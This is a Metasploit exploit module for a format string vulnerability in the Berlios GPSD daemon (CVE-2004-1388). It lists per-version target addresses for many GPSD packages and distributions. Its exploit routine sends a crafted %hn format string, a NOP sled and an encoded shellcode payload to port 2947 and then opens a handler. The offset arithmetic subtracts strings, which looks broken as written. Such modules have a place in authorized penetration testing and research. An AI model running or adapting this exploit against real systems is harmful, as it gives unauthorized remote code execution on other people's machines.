##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::Remote::Tcp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Berlios GPSD Format String Vulnerability',
      'Description'    => %q{
          This module exploits a format string vulnerability in the Berlios GPSD server.
        This vulnerability was discovered by Kevin Finisterre.
      },
      'Author'         => [ 'Yann Senotier <yann.senotier[at]cyber-networks.fr>' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2004-1388' ],
          [ 'OSVDB', '13199' ],
          [ 'BID', '12371' ],
          [ 'URL', 'http://www.securiteam.com/unixfocus/5LP0M1PEKK.html'],

        ],
      'Platform'       => 'linux',
      'Arch'           => ARCH_X86,
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'    => 1004,
          'BadChars' => "\x00\x0a\x0d\x0c",

        },
      'Targets'        =>
        [
          [ 'gpsd-1.91-1.i386.rpm', { 'Syslog' => 0x0804f250, 'Ret' => 0x41424344 }, ],
          [ 'gpsd-1.92-1.i386.rpm', { 'Syslog' => 0x0804f630, 'Ret' => 0x41424344 }, ],
          [ 'gpsd-1.93-1.i386.rpm', { 'Syslog' => 0x0804e154, 'Ret' => 0x41424344 }, ],
          [ 'gpsd-1.94-1.i386.rpm', { 'Syslog' => 0x0804f260, 'Ret' => 0x41424344 }, ],
          [ 'gpsd-1.95-1.i386.rpm', { 'Syslog' => 0x0804f268, 'Ret' => 0x41424344 }, ],
          [ 'gpsd-1.96-1.i386.rpm', { 'Syslog' => 0x41424344, 'Ret' => 0x41424344 }, ],
          [ 'gpsd-1.97-1.i386.rpm', { 'Syslog' => 0x0804b14c, 'Ret' => 0x41424344 }, ],
          [ 'gpsd-2.1-1.i386.rpm', { 'Syslog' => 0x0804c7a0, 'Ret' => 0x41424344 }, ],
          [ 'gpsd-2.2-1.i386.rpm', { 'Syslog' => 0x0804c7a0, 'Ret' => 0x41424344 }, ],
          [ 'gpsd-2.3-1.i386.rpm', { 'Syslog' => 0x0804c730, 'Ret' => 0xbfffd661 }, ],
          [ 'gpsd-2.4-1.i386.rpm', { 'Syslog' => 0x0804c7b8, 'Ret' => 0xbfffde71 }, ],
          [ 'gpsd-2.5-1.i386.rpm', { 'Syslog' => 0x0804c7dc, 'Ret' => 0xbfffdc09 }, ],
          [ 'gpsd-2.6-1.i386.rpm', { 'Syslog' => 0x0804c730, 'Ret' => 0xbffff100 }, ],
          [ 'gpsd-2.7-1.i386.rpm', { 'Syslog' => 0x0804c5bc, 'Ret' => 0xbfffcabc }, ],
          [ 'gpsd_2.6-1_i386.deb', { 'Syslog' => 0x0804c7c4, 'Ret' => 0xbfffedc8 }, ],
          [ 'gpsd_2.7-1_i386.deb', { 'Syslog' => 0x0804c6c4, 'Ret' => 0xbfffc818 }, ],
          [ 'gpsd_2.7-2_i386.deb', { 'Syslog' => 0x0804c770, 'Ret' => 0xbfffee70 }, ],
          [ 'SuSE 9.1 compiled 2.0', { 'Syslog' => 0x0804c818, 'Ret' => 0xbfffe148 }, ],
          [ 'Slackware 9.0 compiled 2.0', { 'Syslog' => 0x0804b164, 'Ret' => 0xbfffd7d6 }, ],
          [ 'Slackware 9.0 compiled 2.7', { 'Syslog' => 0x0804c3ec, 'Ret' => 0xbfffe65c }, ],
          [ 'Debug              ', { 'Syslog' => 0x41424344, 'Ret' => 0xdeadbeef }, ],
        ],
      'DisclosureDate' => '2005-05-25'))

    register_options(
      [
        Opt::RPORT(2947)
      ])
  end

  def exploit
    connect

    print_status("Trying target #{target.name}...")

    offset = 17
    dump_fmt = 7
    al = 3

    hi = (target.ret >> 0) & 0xffff
    lo = (target.ret >> 16) & 0xffff

    shift0 = sprintf("%d",hi) - sprintf("%d",offset) - (dump_fmt * 8 + 16 + al)
    shift1 = (sprintf("%d",0x10000) +  sprintf("%d",lo)) - sprintf("%d",hi)

    buf  = "A" * 3 + "B" * 4
    buf +=  [ target['Syslog']].pack('V')
    buf += "B" * 4
    buf +=  [ target['Syslog'] + 0x2].pack('V')
    buf += "%.8x" * 7 + "%." + shift0 + "lx%hn" + "%." + shift1 + "lx%hn"
    buf += make_nops(3000) + payload.encoded

    sock.put(buf)

    handler
    disconnect
  end
end
